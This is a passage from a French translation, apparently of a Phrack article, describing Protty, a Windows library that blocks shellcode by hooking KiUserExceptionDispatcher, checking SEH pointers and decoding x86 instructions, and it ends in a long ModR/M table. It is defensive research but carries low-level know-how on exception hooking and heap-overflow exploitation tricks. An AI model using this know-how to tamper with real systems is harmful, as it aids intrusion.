l'adressage : ;----------SNIP-------------------------------------------- ;ebp=delta handle mov eax,dword ptr [ebp+variable1] lea ebx,[ebp+variable2] ;----------SNIP-------------------------------------------- Bien sur, tous les registres (pas seulement EBP) peuvent être utilisés :) Le fait que le code soit indépendant de sa position est là pour éviter d'être facilement désactivé/patché par le shellcode lui-même. ------------------------------------------------------------------------- |Description des méchanismes implémentés dans Protty1 (P1)| ------------------------------------------------------------------------- NOTE : Toutes les fonctionnalités écrites ici ont été décrites plus haut. Vous pouvez trouver leur description complète ici (ou un liens vers elles). Le méchanisme prend le contrôle de l'API KiUserExceptionDispatcher (exportée par NTDLL.DLL) et c'est là qu'est implémenté le méchanisme principal. À partir de là, toutes les exceptions (causées par le programme) seront filtrées par notre librairie. Pour être rigoureux, le méchanisme utilisé ne filtre que les exception de violation d'accès. Quand un tel événement à lieu, Protty vérifie d'abord si le SEH actif (Structured Exception Handler) pointe vers le bon endroit (pas en écriture), si c'est le cas, il continue les tests, sinon, il termine l'application. Après avoir testé le SEH, la librairie vérifie d'où vien la violation d'accès, c'est si mauvais (en écriture), le programme termine. Ensuite, il fait les mêmes tests avec le filtre d'exceptions non gérées. Il continue en vérifiant si pointeur vers RtlEnterCriticalSection a changé (technique très commune et très utile pour exploiter des débordements de tas sous windows) et kill l'application si c'est le cas (bien sur, le pointeur RtlEnterCriticalSection est remis à jours). Si l'application n'était pas signée comme MAUVAISE et ne s'est pas terminée jusqu'ici, les méchanismes doivent vérifier si la violation a été causée par une référence vers nos zones mémoires protégées, si ce n'est pas le cas, on retourne simplement l'exécution vers le gestionnaire original. Sinon, elle vérifie si la zone mémoire qui a généré l'exception est stokée quelque part sur la pile ou est en écriture. Si c'est le cas, le programme termine. Quand la référence vers la mémoire protégée vient d'une BONNE adresse, les méchanismes remettent à zéro les protections des régions nécessaires et émule les instructions qui ont causer la violation d'accès (j'utilie LDE32 de z0mbie pour déterminer les longueur d'instructions), après l'émulation, la librairie marque la région mémoire en PAGE_NOACCESS et continue l'exécution. C'est tout - pour plus d'informations, allez voir le code source attaché et testez ses actions. (Jetez un coup d'oeuil au "shellcodes attrapés" écrit dans la prochaine section). Au moment des derniers ajouts dans cet article, le Phrack Staff m'a dit qu'exécuter pas à pas serait une meilleure solution. Je dois confesser que ce serait effectivement plus efficace. Je l'ai noté dans les TODO. Quelques mots sur l'émulation utilisée dans P1 : ------------------------------------------------ En général, j'ai deux manière de le faire. Vous en connaissez déjà une. Je vais vous décrire l'autre. Au lieu de placer un jump après l'instruction qui cause la violation d'accès, je peut l'émuler locallement, c'est généralement plus lent/rapide, plus mystérieux (?), qui croire (?) mais ça devrait fonctionner aussi. Voici une brève description de ce qui devrait être fait : (algorithme optionnel de remplacement pour le second écrit après) 1. Récupérer la longueur de l'instruction et la copier dans un tampon local 2. Déprotéger les régions nécessaires 3. Changement de contexte, bien sûr, laisser EIP tranquille :)) sauvegarder l'ancien contexte quelque part 4. Émuler l'instruction 5. Mettre à jours le contexte "cible", remetre le vieux contexte 6. Re-protéger toutes les régions 7. Continuer le programme grâce à la fonction NtContinue() Et voici la description plus détaillée du méchanisme d'émulation d'instruction réellement utilisé dans Protty : 1. Déprotéger les régions nécessaires 2. Récupérer la longueur de l'instruction 3. Rendre l'endroir (juste après l'instruction) en écriture 4. Sauvegarder 7 octets de cet endroit 5. Y mettre un jmp 6. Utiliser NtContinue() pour continuer l'exécution, après avoir exécuté la première instruction, le deuxième (le jump qu'on a mis) retourne vers l'exécution dans Protty 7. Remettre les 7 anciens octets au bon endroit (dé-détourner) 8. Marquer la zone après l'instruction comme PAGE_EXECUTE_READ (pas d'écriture) 9. Re-protéger les régions, retourner vers "l'hôte" ------------------------------------------------------------------------- |Description des méchanismes implémentés dans Protty2 (P2)| ------------------------------------------------------------------------- La nouvelle version de Protty (P2) se trouve aussi dans KiUserExceptionDispatcher, où elle filtre toutes les exceptions comme la précédente version le faisait. Donc, la méthode de protection de SEH/UEF est la même que cette décrite dans Protty1. Quel est la principale différence ? C'est que le méchanisme courant n'émule pas les instructions et ne déprotège pas les régions. Elle fonctionne de manière complètement différente. Quand une instruction (admettant qu'elle est BONNE - stockée dans un endroit sans écriture) essaye d'accéder à une région protégée, elle cause une violation d'accès. Pourquoi ? Parce que si vous vous rappelez le schéma scii, elles pointent vers le LEURRE (qui n'est pas accessobe) ou une région mémoire de faible adresse (donc invalide). Ceci cause une exception, normallement, comme décrit plus taut, le méchanisme devrait dé-protéger l'endroit et émuler l'instruction, mais pas dans notre cas. Ici, nous vérifions quels registres ont été utilisés par l'instruction qui a causé l'exception, et en les scannant, nous vérifions si l'un d'entre eux pointe quelque part dans les leurres. Comment les méchanismes savent quels registres sont utilisés !? --------------------------------------------------------------- Pour comprendre comment le méchanisme fonctionne, le lecteur devrait connaître ce qu'on appelle le "décodage d'opcode", ceci N'EST PAS un tuto complet mais ça décrit les choses principales que vous devez savoir (pour plus, allez voir www.intel.com ou [8]). Je voudrais aussi remercier Satish K.S pour m'avoir aider avec de très bonnes informations qui m'ont bien aider à rendre ce tutorial "human readable" (chEERs ricy! :)) Les instructions de l'architecture Intel sont codées en utilisant des sous-ensembles du format général d'instructions machines, comme ceci : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A A * * * A A A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA A A A A A A Opcode Octet ModR/M Octet SIB 1 ou 2 Octets Chaque instruction consiste en un Opcode, un spécificateur de mode registre et/ou adresse (si requis) consistant en l'octet ModR/M et parfois, d'un octet SIB ("scale, index, base"), un déplacement (si requis), et un champ de donnée direct (si requis). Le moteur ADE32 de Z0mbie peut désassembler toutes les instructions et retourner leur structure SISAM qui fournis des informations utiles pour nous. Voici cette structure : struct disasm_struct { IN OUT BYTE disasm_defaddr; -- specify 4 for 32-bit code IN OUT BYTE disasm_defdata; -- specify 4 for 32-bit code OUT DWORD disasm_len; -- total length of opcode or 0 OUT DWORD disasm_flag; -- bitset of C_xxx OUT DWORD disasm_addrsize; -- size of address (or 0 if no addr) OUT DWORD disasm_datasize; -- size of data (or 0 if no data) OUT BYTE disasm_rep; -- REP prefix value (if C_REP) OUT BYTE disasm_seg; -- SEG prefix value (if C_SEG) OUT BYTE disasm_opcode; -- opcode value (present if no error) OUT BYTE disasm_opcode2; -- 2nd opcode value (if C_OPCODE2) OUT BYTE disasm_modrm; -- MODRM value (if C_MODRM) OUT BYTE disasm_sib; -- SIB value (if C_SIB) OUT BYTE disasm_addr[8]; -- address (if disasm_addrsize!=0) OUT BYTE disasm_data[8]; -- data (if disasm_datasize!=0) }; Pour savoir quel registre est utilisé par l'instruction, nous devons vérifier la valeur de disasm_modrm. Bien sûr, il y a de rares exceptions, comme les instructions sur un octet (pas de ModR/M) comme "lodsb/lodsw/stosb" etc.etc. Protty2 fait des tests manuel pour celles-là. Parfois, l'encodage du ModR/M nécessite l'octet SIB pour être spécifier complètement le mode d'adressage. La forme base+index et scale+index de l'adressage 32 bits à besoin de l'octet SIB. Ceci, du à un manque de temps libre, n'a pas été implémenté dans P2, cependant, quand le méchanisme ne parvient pas à trouver le "registre utilisé", il effectue un scan et vérifie tous les registres dans le contexte de l'hôte (ceci devrait couvrir la pluspart des cas imprévus). Mais revenons au ModR/M : Imaginons que nous désassemblons l'instruction suivante : - MOV EAX,DWORD PTR DS:[EBX] La valeur retournée dans disasm_modrm est 03h. En connaissance ceci, la librairie vérifie la table suivante (regardez à 03h) : (32-Bit Addressing Forms with the ModR/M Byte Translated Table) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A ModR/M Byte A Src/Dst, Src/Dst Operand AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 00 A [EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 01 A [ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 02 A [EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 03 A [EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 04 A [--][--], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 05 A [disp32], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 06 A [ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 07 A [EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 08 A [EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 09 A [ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0A A [EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0B A [EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0C A [--][--], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0D A [disp32], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0E A [ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 0F A [EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 10 A [EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 11 A [ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 12 A [EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 13 A [EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 14 A [--][--], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 15 A [disp32], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 16 A [ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 17 A [EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 18 A [EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 19 A [ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1A A [EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1B A [EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1C A [--][--], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1D A [disp32], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1E A [ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 1F A [EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 20 A [EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 21 A [ECX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 22 A [EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 23 A [EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 24 A [--][--], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 25 A [disp32], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 26 A [ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 27 A [EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 28 A [EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 29 A [ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2A A [EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2B A [EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2C A [--][--], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2D A [disp32], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2E A [ESI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 2F A [EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 30 A [EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 31 A [ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 32 A [EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 33 A [EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 34 A [--][--], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 35 A [disp32], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 36 A [ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 37 A [EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 38 A [EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 39 A [ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3A A [EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3B A [EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3C A [--][--], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3D A [disp32], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3E A [ESI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 3F A [EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 40 A [disp8+EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 41 A [disp8+ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 42 A [disp8+EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 43 A [disp8+EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 44 A [disp8+[--][--]], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 45 A [disp8+EBP], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 46 A [disp8+ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 47 A [disp8+EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 48 A [disp8+EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 49 A [disp8+ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4A A [disp8+EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4B A [disp8+EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4C A [disp8+[--][--]], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4D A [disp8+EBP], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4E A [disp8+ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 4F A [disp8+EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 50 A [disp8+EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 51 A [disp8+ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 52 A [disp8+EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 53 A [disp8+EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 54 A [disp8+[--][--]], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 55 A [disp8+EBP], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 56 A [disp8+ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 57 A [disp8+EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 58 A [disp8+EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 59 A [disp8+ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5A A [disp8+EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5B A [disp8+EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5C A [disp8+[--][--]], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5D A [disp8+EBP], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5E A [disp8+ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 5F A [disp8+EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 60 A [disp8+EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 61 A [disp8+ECX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 62 A [disp8+EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 63 A [disp8+EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 64 A [disp8+[--][--]], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 65 A [disp8+EBP], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 66 A [disp8+ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 67 A [disp8+EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 68 A [disp8+EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 69 A [disp8+ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6A A [disp8+EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6B A [disp8+EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6C A [disp8+[--][--]], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6D A [disp8+EBP], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6E A [disp8+ESI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 6F A [disp8+EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 70 A [disp8+EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 71 A [disp8+ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 72 A [disp8+EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 73 A [disp8+EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 74 A [disp8+[--][--]], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 75 A [disp8+EBP], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 76 A [disp8+ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 77 A [disp8+EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 78 A [disp8+EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 79 A [disp8+ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7A A [disp8+EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7B A [disp8+EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7C A [disp8+[--][--]], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7D A [disp8+EBP], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A 7E A [disp8+ESI], EDI/DI/BH 